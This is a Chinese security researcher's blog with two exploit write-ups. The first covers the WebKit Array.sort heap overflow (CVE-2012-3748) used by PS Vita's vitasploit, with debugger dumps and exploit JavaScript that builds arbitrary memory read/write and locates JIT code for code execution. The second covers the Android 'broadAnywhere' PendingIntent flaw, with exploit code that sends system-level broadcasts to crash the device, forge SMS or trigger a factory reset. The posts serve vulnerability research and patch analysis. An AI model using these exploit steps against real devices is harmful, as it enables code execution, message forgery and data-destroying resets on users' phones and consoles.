Retme的未来道具研究所

世界線の収束には、逆らえない

太久没冒泡出来炸一炸。。春节前夕玩过一点这个,因为只是笔记,比较凌乱 --->


vitasploit 是PSVita 上的RCE framework,使用这个框架可以在PSV的浏览器进程域中执行代码,系统版本要求是 <3.18。个人觉得这个框架非常棒,github的地址是 https://github.com/Hykem/vitasploit

当然这个框架用的漏洞比较老,因为PSV 之前webkit一直没怎么升级过,用的是CVE-2012-3748,这个洞已经在iOS上有公开的exploit。事实上这个漏洞在PSVita/Wii/Kindle/PS4 等设备的特定版本上依旧存在。


图为在PSVita TV上通过浏览器执行代码。4月份vitasploit更新之后已经可以做trinity-like syscall fuzzing了

春节时因为想要分析vitasploit,就顺便看了下这个洞,浏览器不是很懂,纯粹笔记。


在vita里面调试浏览器漏洞不太现实。最好还是在PC上调,我是在windows上调试的。由于需要的webkit版本很老,mac上编译调试的话需要雪豹,我实在找不到一个可以用雪豹的机器了。。。。Windows上可以下载现成的pdb符号进行调试,要方便很多。


首先在这里下载safari的pdb符号


http://builds.nightly.webkit.org/files/trunk/win/WebKit-SVN-r115198.zip


这里下载相应版本的safari  对应4.0.4



然后这里下载source code
cd JavaScriptCore/
svn update -r115198

最后挂上WINDBG。PS: 一开始选的r97675,但bug比较厉害,迁移到r115198上调试比较好


接下来就是一些分析过程了

=============================================================


1.漏洞

漏洞出现在js array排序方法中,在JS中调用somearray.sort(function_ptr)来为数组排序
function_ptr是调用者提供的比较函数,


  1. void JSArray::sort(ExecState* exec, JSValue compareFunction, CallType callType, const CallData& callData)
  2. {
  3. ...
  4.  
  5. // FIXME: If the compare function modifies the array, the vector, map, etc. could be modified
  6. // right out from under us while we're building the tree here.
  7.  
  8. unsigned numDefined = 0;
  9. unsigned numUndefined = 0;
  10.  
  11. // Iterate over the array, ignoring missing values, counting undefined ones, and inserting all other ones into the tree.
  12. for (; numDefined < usedVectorLength; ++numDefined) {
  13. JSValue v = m_storage->m_vector[numDefined].get();
  14. if (!v || v.isUndefined())
  15. break;
  16. tree.abstractor().m_nodes[numDefined].value = v;
  17. tree.insert(numDefined);//这里调用了我们定义的compareFunction
  18. //在这个函数中我们调用了JSArray.shift()
  19. }
  20. ...
  21.  
  22. // FIXME: If the compare function changed the length of the array, the following might be
  23. // modifying the vector incorrectly.
  24.  
  25. // Copy the values back into m_storage.
  26. // compareFunction已经将以一些元素移除,m_storage->m_vector的大小已经缩短,
  27. // 再去写m_storage->m_vector[i]就构成了堆溢出
  28. AVLTree<AVLTreeAbstractorForArrayCompare, 44>::Iterator iter;
  29. iter.start_iter_least(tree);
  30. JSGlobalData& globalData = exec->globalData();
  31. for (unsigned i = 0; i < numDefined; ++i) {
  32. m_storage->m_vector[i].set(globalData, this, tree.abstractor().m_nodes[*iter].value);
  33. ++iter;
  34. }
  35. ...
  36. }


1+ 利用思路


  1. 0:000> dt WebCore::JSUint32Array 0x034deda8-0x28
  2. WebKit!WebCore::JSUint32Array
  3. =0f0e0000 TypedArrayStorageType : 0x905a4d (No matching name)
  4. +0x000 m_classInfo : 0x0f9c1860 JSC::ClassInfo
  5. +0x004 m_structure : JSC::WriteBarrier<JSC::Structure>
  6. =0f0e0000 baseExternalStorageCapacity : 0x905a4d
  7. =0f0e0000 s_info : JSC::ClassInfo
  8. =0f0e0000 StructureFlags : 0x905a4d
  9. +0x008 m_propertyStorage : JSC::StorageBarrier
  10. +0x00c m_inheritorID : JSC::WriteBarrier<JSC::Structure>
  11. +0x010 m_inlineStorage : [4] JSC::WriteBarrier<enum JSC::Unknown>
  12. =0f9a8220 s_info : JSC::ClassInfo
  13. +0x030 m_impl : 0x7fdbc300 WTF::ArrayBufferView
  14. =0f0e0000 StructureFlags : 0x905a4d
  15. =0f9c1860 s_info : JSC::ClassInfo
  16. =0f0e0000 TypedArrayStorageType : 0x905a4d (No matching name)
  17. +0x038 m_storageLength : 0n8
  18. +0x03c m_storage : 0x7fdbc320 Void
  19. =0f0e0000 StructureFlags : 0x905a4d


JSUint32Array.m_inlineStorage是一段JS可控的内存,用来装载属性。利用这段内存来构造一个GetterSetter结构体。
接着利用漏洞篡改JSUint32Array.m_impl为GetterSetter.m_getter,这是一个JSC::JSFunction类型,,将JSUint32Array.m_storageLength设置的极大,以达到任意内存写的目的
把JSC::JSFunction.m_propertyStorage  作为了 JSUint32Array.m_impl.m_baseAddress  即u32[0]的基地址
然后再来修改JSC::JSFunction的JIT地址和shellcode,最后触发shellcode执行


2.JSArray 内存布局分析

JSArray的定义是ArrayStorage



  1. struct ArrayStorage {
  2. unsigned m_length; // The "length" property on the array
  3. unsigned m_numValuesInVector;
  4. void* m_allocBase; // Pointer to base address returned by malloc(). Keeping this pointer does eliminate false positives from the leak detector.
  5. #if CHECK_ARRAY_CONSISTENCY
  6. // Needs to be a uintptr_t for alignment purposes.
  7. uintptr_t m_initializationIndex;
  8. uintptr_t m_inCompactInitialization;
  9. #else
  10. uintptr_t m_padding;
  11. #endif
  12. WriteBarrier<Unknown> m_vector[1];


从code可以推测出 JSArray的布局 |m_length|m_numValuesInVector|m_allocBase|m_padding or ..|m_vector[len]|


  1. 0:000> dq 0x02460290
  2. 02460290 00000005`00000005 fffffffa`02460290
  3. 024602a0 ffffffff`00000000 ffffffff`00000001
  4. 024602b0 ffffffff`00000002 ffffffff`00000003
  5. 024602c0 fffffffb`0224fa00 00000005`00000005
  6. 024602d0 fffffffa`024602c8 ffffffff`00000000
  7. 024602e0 ffffffff`00000001 ffffffff`00000002
  8. 024602f0 ffffffff`00000003 ffffffff`00000004

JSValue如果是一个int,那么直接放到JSValue里面,前面4位是0xffff,也就是说只能保存2^48

如果JSValue代表的是一个对象,比如Uint32Array,那么保存的是指针



3.利用
Part 1:泄露出u32 address



  1. a1.sort() -> compare(3,4) -> a1.shift()
  2.  
  3. //===========================windbg info====================================
  4. //===========================windbg info====================================
  5. // call a1.shift(), length = 4
  6. 0:000> dq 0x02460290
  7. 02460290 00000004`00000004 00000004`00000004
  8. 024602a0 fffffffa`02460290 ffffffff`00000001
  9. 024602b0 ffffffff`00000002 ffffffff`00000003
  10. 024602c0 fffffffb`0224fa00 00000005`00000005
  11. 024602d0 fffffffa`024602c8 ffffffff`00000000
  12. 024602e0 ffffffff`00000001 ffffffff`00000002
  13. 024602f0 ffffffff`00000003 ffffffff`00000004
  14. 02460300 00000003`00000003 fffffffa`02460300
  15.  
  16. -> return to a1.sort()
  17. 0:000> dq 0x02460290
  18. 02460290 00000004`00000004 00000005`00000004
  19. 024602a0 fffffffa`02460290 ffffffff`00000000
  20. 024602b0 ffffffff`00000001 ffffffff`00000002
  21. 024602c0 ffffffff`00000003 fffffffb`0224fa00 <- corrupted a2.length = u32 address
  22. 024602d0 fffffffa`024602c8 ffffffff`00000000
  23. 024602e0 ffffffff`00000001 ffffffff`00000002
  24. 024602f0 ffffffff`00000003 ffffffff`00000004
  25. 02460300 00000003`00000003 fffffffa`02460300
  26.  
  27. JSArray a1 : |length = 4|x|x|x|1|2|3|length = u32 address
  28. JavaScriptCore!JSC::ArrayStorage
  29. +0x000 m_length : 4
  30. +0x004 m_numValuesInVector : 4
  31. +0x008 m_allocBase : 0x00000004 Void
  32. +0x00c m_padding : 5
  33. +0x010 m_vector : [1] JSC::WriteBarrier<enum JSC::Unknown>
  34.  
  35. JSArray a2 : |length = u32 address |x|x|x|0|1|2|3|4|
  36. JavaScriptCore!JSC::ArrayStorage
  37. +0x000 m_length : 0x224fa00
  38. +0x004 m_numValuesInVector : 0xfffffffb
  39. +0x008 m_allocBase : 0x024602c8 Void
  40. +0x00c m_padding : 0xfffffffa
  41. +0x010 m_vector : [1] JSC::WriteBarrier<enum JSC::Unknown>
  42.  
  43. //===========================windbg info END====================================
  44. //===========================windbg info END====================================
  45.  
  46. Part 2
  47. 2.1 a1.sort() -> compare(0,1) -> a1.length = 5;a1.shift();a2.length = a2.length+ 0x28
  48.  
  49. //===========================windbg info====================================
  50. //===========================windbg info====================================
  51.  
  52. JSArray a1 : |length = 4|x|x|x|1|2|3|length = u32 address + 0x28|
  53. 0:000> dq 0x02460290
  54. 02460290 00000004`00000004 00000004`00000004
  55. 024602a0 00000004`00000004 fffffffa`02460290 <- 024602a0 = base of JSArray a1
  56. 024602b0 ffffffff`00000001 ffffffff`00000002
  57. 024602c0 ffffffff`00000003 fffffffb`0224fa28 <- corrupted a2.length = u32 address + 0x28
  58. 024602d0 fffffffa`024602c8 ffffffff`00000000
  59. 024602e0 ffffffff`00000001 ffffffff`00000002
  60. 024602f0 ffffffff`00000003 ffffffff`00000004
  61. 02460300 00000003`00000003 fffffffa`02460300
  62.  
  63. JSArray a2 : |length = u32 address + 0x28|x|x|x|0|1|2|3|4|
  64. JavaScriptCore!JSC::ArrayStorage
  65. +0x000 m_length : 0x224fa28
  66. +0x004 m_numValuesInVector : 0xfffffffb
  67. +0x008 m_allocBase : 0x024602c8 Void
  68. +0x00c m_padding : 0xfffffffa
  69. +0x010 m_vector : [1] JSC::WriteBarrier<enum JSC::Unknown>
  70.  
  71. 2.2 ->compare(x,3) -> a1.unshift(0)
  72.  
  73. |length = 5|x|x|x|0|1|2|3|length = u32 address + 0x28|x|x|x|0|1|2|3|4|
  74.  
  75. 0:000> dq 0x02460290
  76. 02460290 00000004`00000004 00000005`00000005
  77. 024602a0 fffffffa`02460290 ffffffff`00000000
  78. 024602b0 ffffffff`00000001 ffffffff`00000002
  79. 024602c0 ffffffff`00000003 fffffffb`0224fa28
  80. 024602d0 fffffffa`024602c8 ffffffff`00000000
  81. 024602e0 ffffffff`00000001 ffffffff`00000002
  82. 024602f0 ffffffff`00000003 ffffffff`00000004
  83. 02460300 00000003`00000003 fffffffa`02460300
  84.  
  85. JSArray a1 : |length = 5|x|x|x|0|1|2|3|length = u32 address + 0x28|
  86. JavaScriptCore!JSC::ArrayStorage
  87. +0x000 m_length : 5
  88. +0x004 m_numValuesInVector : 5
  89. +0x008 m_allocBase : 0x02460290 Void
  90. +0x00c m_padding : 0xfffffffa
  91. +0x010 m_vector : [1] JSC::WriteBarrier<enum JSC::Unknown>
  92.  
  93. JSArray a2 : |length = u32 address + 0x28|x|x|x|0|1|2|3|4
  94. JavaScriptCore!JSC::ArrayStorage
  95. +0x000 m_length : 0x224fa28
  96. +0x004 m_numValuesInVector : 0xfffffffb
  97. +0x008 m_allocBase : 0x024602c8 Void
  98. +0x00c m_padding : 0xfffffffa
  99. +0x010 m_vector : [1] JSC::WriteBarrier<enum JSC::Unknown>
  100.  
  101. 2.3 ->return to a1.sort()
  102.  
  103. |length = 5|x|x|x|0|1|3|length = u32 address + 0x28|length = u32 address + 0x28|x|x|x|0|1|2|3|4|
  104.  
  105. 0:000> dq 0x02460290
  106. 02460290 00000004`00000004 00000004`00000005
  107. 024602a0 fffffffa`02460290 ffffffff`00000000
  108. 024602b0 ffffffff`00000001 ffffffff`00000003 <-- 不要过于纠结为啥这里是 01 | 03 | ... 中间少了02
  109. 024602c0 fffffffb`0224fa28 fffffffb`0224fa28
  110. 024602d0 fffffffa`024602c8 ffffffff`00000000
  111. 024602e0 ffffffff`00000001 ffffffff`00000002
  112. 024602f0 ffffffff`00000003 ffffffff`00000004
  113. 02460300 00000003`00000003 fffffffa`02460300



不要过于纠结为啥这里是 01 | 03 | ... 中间少了02:非要说的话,是因为 m_storage->m_vector的位置因为comparFunc的调整,向后错了一位。



  1. for (; numDefined < usedVectorLength; ++numDefined) {
  2. JSValue v = m_storage->m_vector[numDefined].get();
  3. if (!v || v.isUndefined())
  4. break;
  5. tree.abstractor().m_nodes[numDefined].value = v;
  6. tree.insert(numDefined);
  7. }
  8.  
  9. //===========================windbg info END====================================
  10. //===========================windbg info END====================================

Part 3: overwriting ((JSUint32Array)u32).m_impl pointer

绕了这么大弯子,其实也就是为了泄露出 u32的地址

3.1          改写mo.prop0 = ((JSUint32Array)u32).m_impl - 0x8




  1. 0:000> dt WebCore::JSUint32Array
  2. WebKit!WebCore::JSUint32Array
  3. =0f0e0000 TypedArrayStorageType : JSC::TypedArrayType
  4. +0x000 m_classInfo : Ptr32 JSC::ClassInfo
  5. +0x004 m_structure : JSC::WriteBarrier<JSC::Structure>
  6. =0f0e0000 baseExternalStorageCapacity : Uint4B
  7. =0f0e0000 s_info : JSC::ClassInfo
  8. =0f0e0000 StructureFlags : Uint4B
  9. +0x008 m_propertyStorage : JSC::StorageBarrier
  10. +0x00c m_inheritorID : JSC::WriteBarrier<JSC::Structure>
  11. +0x010 m_inlineStorage : [4] JSC::WriteBarrier<enum JSC::Unknown>
  12. =0f9a8220 s_info : JSC::ClassInfo
  13. +0x030 m_impl : Ptr32 WTF::ArrayBufferView
  14. =0f0e0000 StructureFlags : Uint4B
  15. =0f9c1860 s_info : JSC::ClassInfo
  16. =0f0e0000 TypedArrayStorageType : JSC::TypedArrayType
  17. +0x038 m_storageLength : Int4B
  18. +0x03c m_storage : Ptr32 Void
  19. =0f0e0000 StructureFlags : Uint4B

总之现在a1[3]是JSUint32Array + 0x28 = 是JSUint32Array.m_impl - 8,

接下来构造一个a3,后面紧跟着一个mo,他的property storage紧跟在a3后面




  1. var a3 = [0,1,2,a1[3]];
  2. var mo = {};
  3. var pd = { get: function(){return 0;}, set: function(arg){return 0;}, enumerable:true, configurable:true }
  4.  
  5. // allocate mo's property storage right after a3's buffer
  6. Object.defineProperty(mo, "prop0", pd);
  7. for(var i=1; i < 7; i++){
  8. mo["prop"+i] = i;
  9. }
  10.  
  11. mem layout :
  12.  
  13. |length = 4|x|x|x|0|1|2|u32 address + 0x28 | pd_ptr | 1 | 2 | 3 | 4 | 5 | 6 |
  14.  
  15. 0:000> dq 0x02e103e0
  16. 02e103e0 00000004`00000004 fffffffa`02e103e0
  17. 02e103f0 ffffffff`00000000 ffffffff`00000001
  18. 02e10400 ffffffff`00000002 fffffffb`034deda8
  19. 02e10410 fffffffb`0386ffc0 ffffffff`00000001
  20. 02e10420 ffffffff`00000002 ffffffff`00000003
  21. 02e10430 ffffffff`00000004 ffffffff`00000005
  22. 02e10440 ffffffff`00000006 fffffffa`00000000
  23. 02e10450 fffffffa`00000000 fffffffa`00000000
  24.  
  25. shift & sort: u32 address + 0x28 = pd_ptr
  26.  
  27. 0:000> dq 0x02e103e0
  28. 02e103e0 00000003`00000003 00000003`00000003
  29. 02e103f0 fffffffa`02e103e0 ffffffff`00000000
  30. 02e10400 ffffffff`00000001 ffffffff`00000002
  31. 02e10410 fffffffb`034deda8 ffffffff`00000001
  32. 02e10420 ffffffff`00000002 ffffffff`00000003
  33. 02e10430 ffffffff`00000004 ffffffff`00000005
  34. 02e10440 ffffffff`00000006 fffffffa`00000000
  35. 02e10450 fffffffa`00000000 fffffffa`00000000
  36.  
  37. |length = 4|x|x|x|0|1|2|u32 address + 0x28 | mo.prop0 = u32.m_impl | mo.prop1 = 1 | 2 | 3 | 4 | 5 | 6 |
  38.  
  39. 0:000> dq 0x02e103e8
  40. 02e103e8 00000004`00000003 fffffffa`02e103e0
  41. 02e103f8 ffffffff`00000000 ffffffff`00000001
  42. 02e10408 ffffffff`00000002 fffffffb`034deda8
  43. 02e10418 ffffffff`00000001 ffffffff`00000002
  44. 02e10428 ffffffff`00000003 ffffffff`00000004
  45. 02e10438 ffffffff`00000005 ffffffff`00000006
  46. 02e10448 fffffffa`00000000 fffffffa`00000000
  47. 02e10458 fffffffa`00000000 fffffffa`00000000
  48.  
  49. 034deda8 是指JSUint32Array.m_impl - 0x8
  50.  
  51. 0:000> dt WebCore::JSUint32Array 0x034deda8-0x28
  52. WebKit!WebCore::JSUint32Array
  53. =0f0e0000 TypedArrayStorageType : 0x905a4d (No matching name)
  54. +0x000 m_classInfo : 0x0f9c1860 JSC::ClassInfo
  55. +0x004 m_structure : JSC::WriteBarrier<JSC::Structure>
  56. =0f0e0000 baseExternalStorageCapacity : 0x905a4d
  57. =0f0e0000 s_info : JSC::ClassInfo
  58. =0f0e0000 StructureFlags : 0x905a4d
  59. +0x008 m_propertyStorage : JSC::StorageBarrier
  60. +0x00c m_inheritorID : JSC::WriteBarrier<JSC::Structure>
  61. +0x010 m_inlineStorage : [4] JSC::WriteBarrier<enum JSC::Unknown>
  62. =0f9a8220 s_info : JSC::ClassInfo
  63. +0x030 m_impl : 0x7fdbc300 WTF::ArrayBufferView
  64. =0f0e0000 StructureFlags : 0x905a4d
  65. =0f9c1860 s_info : JSC::ClassInfo
  66. =0f0e0000 TypedArrayStorageType : 0x905a4d (No matching name)
  67. +0x038 m_storageLength : 0n8
  68. +0x03c m_storage : 0x7fdbc320 Void
  69. =0f0e0000 StructureFlags : 0x905a4d
  70.  
  71. JSUint32Array.m_impl
  72. 0:000> dt WTF::ArrayBufferView 0x7fdbc300
  73. WebKit!WTF::ArrayBufferView
  74. +0x004 m_refCount : 0n1
  75. +0x000 __VFN_table : 0x0f8acdf4
  76. +0x008 m_baseAddress : 0x7fdbc320 Void
  77. +0x00c m_byteOffset : 0
  78. +0x010 m_buffer : WTF::RefPtr<WTF::ArrayBuffer>
  79. +0x014 m_prevView : (null)
  80. +0x018 m_nextView : (null)

3.2  现在webcore::jsuint32array的布局是这样的

0218e780  ->base

0218e790  property storage = 4*long (inlineStorage)

0218e7a8  JSUint32Array.m_impl



首先利用u32.property伪造GetterSetter的结构头部


  1. // This is an internal value object which stores getter and setter functions
  2. // for a property.
  3. 0:000> dt JSC::GetterSetter
  4. JavaScriptCore!JSC::GetterSetter
  5. =51870000 TypedArrayStorageType : JSC::TypedArrayType
  6. +0x000 m_classInfo : Ptr32 JSC::ClassInfo
  7. +0x004 m_structure : JSC::WriteBarrier<JSC::Structure>
  8. =519bda68 s_info : JSC::ClassInfo
  9. +0x008 m_getter : JSC::WriteBarrier<JSC::JSObject>
  10. +0x00c m_setter : JSC::WriteBarrier<JSC::JSObject>
  11.  
  12. // construct the valid GetterSetter object
  13. u32.prop1 = 8; // 8 = JSType.GetterSetterType
  14. u32.prop2 = 8;
  15. u32.prop3 = 8;
  16. u32.prop4 = u2d(u32addr, u32addr+0x10); // ((GetterSetter)mo.prop0).m_structure 指向 JSUint32Array.m_inlineStorage
  17.  
  18. // prepare JSFunction which will be refered by u32.m_impl
  19. var f = new Function(" return 876543210 + " + (_cnt++) + ";");
  20. f.prop2 = u2d(0x40000000,0x40000000); // a new value for u32.length
  21. f();
  22.  
  23. //这里把 pd.get复写到了 u32.m_impl
  24. //f.prop2 = u2d(0x40000000,0x40000000)为何能改变u32的长度?(见下面)
  25.  
  26. // overwrite u32.m_impl by the pd.get object
  27. pd.get = f;
  28. Object.defineProperty(mo, "prop0", pd);
  29.  
  30. //现在被替换之后的 JSUint32Array 长这样
  31. 0:000> dt WebCore::JSUint32Array 0x0253dc80
  32. WebKit!WebCore::JSUint32Array
  33. =0f810000 TypedArrayStorageType : 0x905a4d (No matching name)
  34. +0x000 m_classInfo : 0x100f1860 JSC::ClassInfo
  35. +0x004 m_structure : JSC::WriteBarrier<JSC::Structure>
  36. =0f810000 baseExternalStorageCapacity : 0x905a4d
  37. =0f810000 s_info : JSC::ClassInfo
  38. =0f810000 StructureFlags : 0x905a4d
  39. +0x008 m_propertyStorage : JSC::StorageBarrier
  40. +0x00c m_inheritorID : JSC::WriteBarrier<JSC::Structure>
  41. +0x010 m_inlineStorage : [4] JSC::WriteBarrier<enum JSC::Unknown>
  42. =100d8220 s_info : JSC::ClassInfo
  43. +0x030 m_impl : 0x0253d380 WTF::ArrayBufferView
  44. =0f810000 StructureFlags : 0x905a4d
  45. =100f1860 s_info : JSC::ClassInfo
  46. =0f810000 TypedArrayStorageType : 0x905a4d (No matching name)
  47. +0x038 m_storageLength : 0n8
  48. +0x03c m_storage : 0x7fe0e9a0 Void
  49. =0f810000 StructureFlags : 0x905a4d
  50. 0:000> dd 0x0253d380 //WTF::ArrayBufferView 同时也是 GetterSetter.m_getter JSC::JSFunction,
  51. 0253d380 018edd18 024a8880 0253d390 00000000
  52. 0253d390 028be440 fffffffb 40000000 40000000 //40000000 40000000就是f.prop2
  53. 0253d3a0 00000000 fffffffa 00000000 fffffffa
  54. 0253d3b0 02a9ef40 028be420 00000000 00000000
  55. 0253d3c0 018edd18 024ab9a0 0253d3d0 00000000
  56. 0253d3d0 028be4a0 fffffffb 00000002 ffffffff
  57. 0253d3e0 00000000 fffffffa 00000000 fffffffa
  58. 0253d3f0 0253d400 028bf420 00000000 00000000
  59.  
  60. 0:000> dt JSC::jsfunction 0x0253d380
  61. JavaScriptCore!JSC::JSFunction
  62. =017a0000 TypedArrayStorageType : 0x905a4d (No matching name)
  63. +0x000 m_classInfo : 0x018edd18 JSC::ClassInfo
  64. +0x004 m_structure : JSC::WriteBarrier<JSC::Structure>
  65. =017a0000 baseExternalStorageCapacity : 0x905a4d
  66. =018edee8 s_info : JSC::ClassInfo
  67. =017a0000 StructureFlags : 0x905a4d
  68. +0x008 m_propertyStorage : JSC::StorageBarrier
  69. +0x00c m_inheritorID : JSC::WriteBarrier<JSC::Structure>
  70. +0x010 m_inlineStorage : [4] JSC::WriteBarrier<enum JSC::Unknown>
  71. =018edd18 s_info : JSC::ClassInfo
  72. =017a0000 StructureFlags : 0x905a4d
  73. +0x030 m_executable : JSC::WriteBarrier<JSC::ExecutableBase>
  74. +0x034 m_scopeChain : JSC::WriteBarrier<JSC::ScopeChainNode>
  75.  
  76. 0:000> dt WTF::ArrayBufferView 0x0253d380
  77. JavaScriptCore!WTF::ArrayBufferView
  78. +0x004 m_refCount : 0n38439040
  79. +0x000 __VFN_table : 0x018edd18
  80. +0x008 m_baseAddress : 0x0253d390 Void //JSC::JSFunction.m_propertyStorage 作为了 JSUint32Array.m_impl.m_baseAddress 即u32[0]的基地址
  81. +0x00c m_byteOffset : 0
  82. +0x010 m_buffer : WTF::RefPtr<WTF::ArrayBuffer>
  83. +0x014 m_prevView : 0xfffffffb WTF::ArrayBufferView
  84. +0x018 m_nextView : 0x40000000 WTF::ArrayBufferView
  85.  
  86. 0:000> dt WebKit!WTF::Uint32Array 0x0240de80
  87. +0x004 m_refCount : 0n37594752
  88. +0x000 __VFN_table : 0x77eedd18
  89. +0x008 m_baseAddress : 0x0240de90 Void
  90. +0x00c m_byteOffset : 0
  91. +0x010 m_buffer : WTF::RefPtr<WTF::ArrayBuffer>
  92. +0x014 m_prevView : 0xfffffffb WTF::ArrayBufferView
  93. +0x018 m_nextView : 0x40000000 WTF::ArrayBufferView
  94. +0x01c m_length : 0x40000000 //f.prop2 = u2d(0x40000000,0x40000000)能改变u32的长度
  95.  
  96. // delete corrupted property
  97. delete mo.prop0;
  98.  
  99. // check results: u32.length is taken from f's internals
  100. logAdd("u32.length = 0x" + u32.length.toString(16));
  101. if (u32.length == u32len) { logAdd("error: 3"); return 3; }
  102. //logAdd("u32[] data:<br/>" + ArrayToString(u32,0,16)); // for RnD

Part 4: getting the JIT-code memory address

  1. // find out the memory address of u32[0] (ArrayBufferView.m_baseAddress)
  2. var u32base = u32[0x40000000-2];
  3. logAdd("u32 address = 0x" + u32addr.toString(16));
  4. logAdd("u32 base = 0x" + u32base.toString(16));
  5. //
  6. /* 计算出u32base
  7. JSUint32Array.getByIndex() 实现如下
  8. u32base = *(JSUint32Array->m_impl->m_baseAddress + index*4)
  9. index = 0x3ffffffe
  10.  
  11. so
  12. u32base = *(JSUint32Array->m_impl->m_baseAddress + 0xFFFFFFF8) 正好取到了 *JSC::JSFunction.m_propertyStorage = JSC::JSFunction.m_inlineStorage 作为 base
  13.  
  14. */
  15.  
  16. // declare aux functions
  17. var getU32 = function(addr) {
  18. return u32[(addr - u32base) >>> 2];
  19. }
  20. var setU32 = function(addr,val) {
  21. return u32[(addr - u32base) >>> 2] = val;
  22. }
  23.  
  24. // read ((JSFunction)f).m_executable;
  25. var jitObj = u32[8]; //JSC::JSFunction.m_inlineStorage + 0x20 = JSC::JSFunction.m_executable
  26. logAdd("JIT object = 0x" + jitObj.toString(16));
  27.  
  28. // read ExecutableBase.m_jitCodeForCall
  29. jitObj += 0x10;
  30. var jitAddr = getU32(jitObj);
  31. logAdd("JIT address = 0x" + jitAddr.toString(16));
  32. if (!jitAddr) { logAdd("error: 4"); return 4; }



后面就没啥了,改写JIT指针执行rop。vitaslpoit的最后这里的处理和iOS有些不同,没有覆盖JIT而是覆盖的vTable 。


https://github.com/retme7/CVE-2014-7911_poc


https://github.com/retme7/CVE-2014-4322_poc


大过年的 :)


原创内容,转载请注明来源 http://retme.net/index.php/2014/11/14/broadAnywhere-bug-17356824.html



Lolipop源码已经放出有些日子了,我发现google5.0上修复了一个高危漏洞,利用该漏洞可以发送任意广播:不仅可以发送系统保护级别的广播、还可以无视receiverandroid:exported=falseandroid:permisson=XXX 属性的限制。简直就是LaunchAnywhere[1] 漏洞的broadcast版本,所以就称它是broadAnywhere吧。这个漏洞在5.0以下的系统上通杀,影响还是很大的。

 

一、先看补丁



通过补丁[2]可以看到漏洞发生在src/com/android/settings/accounts/AddAccountSettings.java 的 addAccount 函数中。这回这个漏洞出现在Settings添加账户的时候。使用AccountManager添加账户的流程如下图:





关于AccountManagerService的流程机制请参考LaunchAnywhere漏洞的分析[1],本篇就不赘述了。


二、如何利用



本次的漏洞就发生在流程图的Step1之前, Setting调用了AccountManager.addAccount。在传递的AddAccountOptions参数时加入了一个PendingIntent,其intent类型是Broadcast。注意这个PendingIntentSettings创建的,拥有system权限。

  1. private void addAccount(String accountType) {
  2. Bundle addAccountOptions = new Bundle();
  3. mPendingIntent = PendingIntent.getBroadcast(this, 0, new Intent(), 0);
  4. addAccountOptions.putParcelable(KEY_CALLER_IDENTITY, mPendingIntent);
  5. addAccountOptions.putBoolean(EXTRA_HAS_MULTIPLE_USERS, Utils.hasMultipleUsers(this));
  6. AccountManager.get(this).addAccount(


AppB会在step3的时候取到了AddAccountOptions参数,从中获得了这个PendingIntent,并且可以利用它以system的身份发送广播,示例代码如下:




  1. PendingIntent pending_intent = (PendingIntent)options.get("pendingIntent");
  2. intent.setAction("android.intent.action.BOOT_COMPLETED");
  3.  
  4. try {
  5. pending_intent.send(getGlobalApplicationContext(),0,intent,null,null,null);
  6. } catch (CanceledException e) {
  7. e.printStackTrace();
  8. }

System身份可以发送系统级的广播protected-broadcast,同时还可以将广播发送给未导出的receiverandroid:exported=false)和有权限限制的receiver

三、原理分析

回过头再看一下Settings是如何创建PendingIntent的:


  1. mPendingIntent = PendingIntent.getBroadcast(this, 0, new Intent(), 0);

Settings本身是一个高权限进程,它将自己的PendingIntent传给不可信的第三方程序是不安全的。

 

因为Settings初始化PendingIntent的时候传入的是一个没有内容的new Intent(),所以攻击者在调用PendingIntent.send( )的时候可以随意设置Intent中的大部分内容。这是由于在系统源码中PendingIntentRecord.sendInner 调用了finalIntent.fillIn(intent, key.flags);,允许调用者填充Intent的值。

 

PendingIntentRecord.java

  1. 196 int sendInner(int code, Intent intent, String resolvedType,
  2. 197 IIntentReceiver finishedReceiver, String requiredPermission,
  3. 198 IBinder resultTo, String resultWho, int requestCode,
  4. 199 int flagsMask, int flagsValues, Bundle options) {
  5. 200 synchronized(owner) {
  6. 201 if (!canceled) {
  7. 202 sent = true;
  8. 203 if ((key.flags&PendingIntent.FLAG_ONE_SHOT) != 0) {
  9. 204 owner.cancelIntentSenderLocked(this, true);
  10. 205 canceled = true;
  11. 206 }
  12. 207 Intent finalIntent = key.requestIntent != null
  13. 208 ? new Intent(key.requestIntent) : new Intent();
  14. 209 if (intent != null) {
  15. 210 int changes = finalIntent.fillIn(intent, key.flags);

四、漏洞危害和应用场景

这个漏洞在安卓5.0以下通杀,可以认为该漏洞影响目前99.9%的安卓手机。

 

利用这个漏洞可以攻击绝大多数broadcast receiver。由于Intent.fillIn这个函数要求component必须显式填充[3],我们不能发送指定componentintent的。但是可以通过指定intentaction已经可以攻击大多数receiver了。

 

所以这个漏洞也是有很大利用空间的。下面举几个例子

 

1.       发送android.intent.action.BOOT_COMPLETED广播,这是一个系统保护的广播action。发送这个广播将导致system_server直接崩溃,造成本地DoS攻击。

2.       4.4上发送android.provider.Telephony.SMS_DELIVER可以伪造接收短信。

3.       发送com.google.android.c2dm.intent.RECEIVE广播,设备将恢复至出厂设置。

 

上述提到的几种利用方法已经开源:

https://github.com/retme7/broadAnyWhere_poc_by_retme_bug_17356824


伪造短信演示视频:




对于厂商定制固件来说,还可能有更多的利用方法。通过搜索系统应用的receiver,可以找到更多可攻击的receiver,搜索方法可以参考以下代码(python):


  1. def get_receiver(self):
  2.  
  3. xmltag = self.manifest.getElementsByTagName('protected-broadcast')
  4. if len(xmltag) != 0:
  5.  
  6. logByThread( self.__apk_obj.get_filename())
  7. logByThread( 'protected-broadcast')
  8. for x in xmltag:
  9. logByThread( x.getAttribute("android:name"))
  10.  
  11. xmltag = self.manifest.getElementsByTagName('receiver')
  12. if len(xmltag) != 0:
  13. logByThread( self.__apk_obj.get_filename())
  14. logByThread( 'reciever-with-permission')
  15. for x in xmltag:
  16. if x.hasAttribute("android:permission") or (x.hasAttribute("android:exported") and x.getAttribute("android:exported").find("false")!=-1):
  17. if len(x.getElementsByTagName("intent-filter")) !=0:
  18. logByThread( x.toxml())
  19. return



五、漏洞修复

通过注释知道这个PendingIntent是用来告诉第三方应用,发起addAccount的应用是Settings。这里其实这没必要用PendingIntent,不过出于历史原因,这个接口还得继续支持下去。

所以这个漏洞的修复就只是简单地将PendingIntent所关联的Intent中的componentactionaction中初始化了一个无意义的值。这样一来AppB也就不能够借助Intent.fillin()intent的值进行二次填充了。

  1. + identityIntent.setComponent(new ComponentName(SHOULD_NOT_RESOLVE, SHOULD_NOT_RESOLVE));
  2. + identityIntent.setAction(SHOULD_NOT_RESOLVE);
  3. + identityIntent.addCategory(SHOULD_NOT_RESOLVE);

六 安全建议
